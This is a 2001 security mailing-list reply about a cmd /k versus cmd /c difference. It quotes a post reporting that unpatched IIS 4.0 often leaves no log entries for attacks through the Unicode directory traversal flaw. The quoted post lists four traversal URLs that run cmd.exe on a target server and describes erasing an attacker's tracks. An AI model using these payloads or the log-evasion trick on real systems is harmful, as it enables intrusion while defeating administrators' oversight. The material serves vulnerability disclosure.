The problem looks like this:

        CMD /K [command] Execute a command and "still active"
        CMD /C [command] Execute a command and then finished.

        If you execute a cmd.exe?/k request this would be in active state
        until his finished this process instead of the cmd.exe?/c request
        that finishes the process inmediatly. Because of this the IIS
that´s
        not log the process that has not come to an end.
                

Atentamente,
Pablo Aravena Martínez
Consultor de Seguridad
BYSECURE CSE S.A.
PGP FingerPrint: 4109 41C1 A295 75D8 F159 D542 96C5 5E6D 2B08 F28A
http://www.bysecure.com
mailto:p.aravenabysecure.com

> -----Mensaje original-----
> De: ThEye [SMTP:theye350cc.com]
> Enviado el: jueves, 20 de diciembre de 2001 0:39
> Para: vuln-devsecurityfocus.com
> CC: ndr113350cc.com
> Asunto: sometimes IIS 4.0 don't write logs.
>
> <Hi:
>
> I don't know if this problem is documented but i didn't find anything
> about
> it anywhere.
>
> The problem is the following one:
>
> + Problem:
> When I was playing with "Microsoft IIS and PWS Extended Unicode Directory
> Transveral Vulnerability" ( BugtraqID = 1806 ) I found that if the
> attacker
> uses the "k" option of cmd ( cmd /k ) instead of the "c" option (cmd /c)
> ,IIS 4.0 (with Extended Unicode Directory Transveral Vulnerability)
> sometimes don't write logs of the attacker's activity.
>
> + Implications:
> If an attacker uses this vulnerability to crack a web page or anything,
> eventually no tracks will exist on the attacked server.
>
> + Final:
> In PROBLEM I said "sometimes" because after a high number of requests to
> "cmd /k" , IIS 4.0 write logs of some requests, still I don't know when
> and
> why IIS 4.0 write logs of the "cmd /k" request.
> Anyone that can confirm or refute this please post it.
>
>
> + Exploit:
> I tested this problem on Windows NT Server 4.0 with IIS 4.0 just installed
>
> ( without any patch ).
>
> http://server.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/k+dir
> http://server.com/scripts/..%c0%af../winnt/system32/cmd.exe?/k+dir
> http://server.com/msadc/..%c1%pc../winnt/system32/cmd.exe?/k+dir
> http://server.com/msadc/..%c0%af../winnt/system32/cmd.exe?/k+dir
>
> Result: No tracks on log files.
>
> + More Information:
> 1) Microsoft IIS and PWS Extended Unicode Directory Transversal
>
> http://www.securityfocus.com/cgi-bin/vulns-item.pl?section=info&id=1806
> 2) Microsoft Patch prmcan4i
>
> http://download.microsoft.com/download/winntsp/Patch/q269862/NT4ALPHA/EN-U
> S/prmcan4i.exe
>
> Roberto Alamos M. (theye350cc.com)
> www.350cc.com

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